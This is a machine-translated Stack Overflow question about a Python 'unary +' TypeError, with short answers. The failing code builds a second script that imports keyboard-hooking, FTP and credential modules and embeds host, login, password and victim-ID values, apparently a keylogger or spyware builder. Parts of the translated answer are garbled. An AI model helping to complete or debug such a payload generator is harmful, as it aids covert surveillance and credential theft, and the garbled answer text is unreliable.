2015-10-15 57 views
0

运行脚本时,我收到以下错误:错误,同时运行python脚本 - 坏数类型为一元+:“STR”

Traceback (most recent call last): 

    File "C:/Python27/PyInstaller-2.1/ketlc.py", line 354, in <module> 
    startfun2(lk) 

    File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2 
    vir_myurl =''' + '\'' + vi_myurl + '\'' + ''' 

TypeError: bad operand type for unary +: 'str' 

这是似乎导致故障代码的一部分:

a_code = '''import os, time, webbrowser, pyHook, pythoncom, sys, logging, wget 

import getpass, ctypes, random, inspect, autopy, ftplib, urllib 

vi_host =''' + '\'' + vi_host + '\'' + ''' 

vi_logi =''' + '\'' + vi_logi + '\'' + ''' 

vi_pasi =''' + '\'' + vi_pasi + + '\'' + ''' 

vi_id =''' + '\'' + vi_vicid + '\'' + ''' 

vi_myurl =''' + '\'' + vi_myurl + '\'' + ''' 


nisa = 0 ''' 

我找不到任何问题! 我应该怎么做才能修复它?

+3

'vi_pasi ='''+'\''+ vi_pasi + +''''+''''有两个后续的'+'符号。 – uselpa

+0

我发现你在这里有两个+运算符:''''+'\''+ vi_pasi + +''''+'''' –

+0

你应该得到一个带语法高亮的IDE,以便你可以发现这些东西。另外,无论你想要做什么,显然是源代码的连接(稍后要执行)几乎都是你应该避免的坏主意,找到另一种方法来完成你正在做的任何事情。 –

回答

0

检查报价计数和反斜杠。

File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2 vir_myurl =''' + '\'' + vi_myurl + '\'' + '''

您使用的是vi_myurl,而不是变量vi_myurl。如果你想在那里使用反斜杠,他们还需要使用额外的反斜杠进行转义。

如上所述,语法高亮显示对于发现这些错误非常有帮助。

相关问题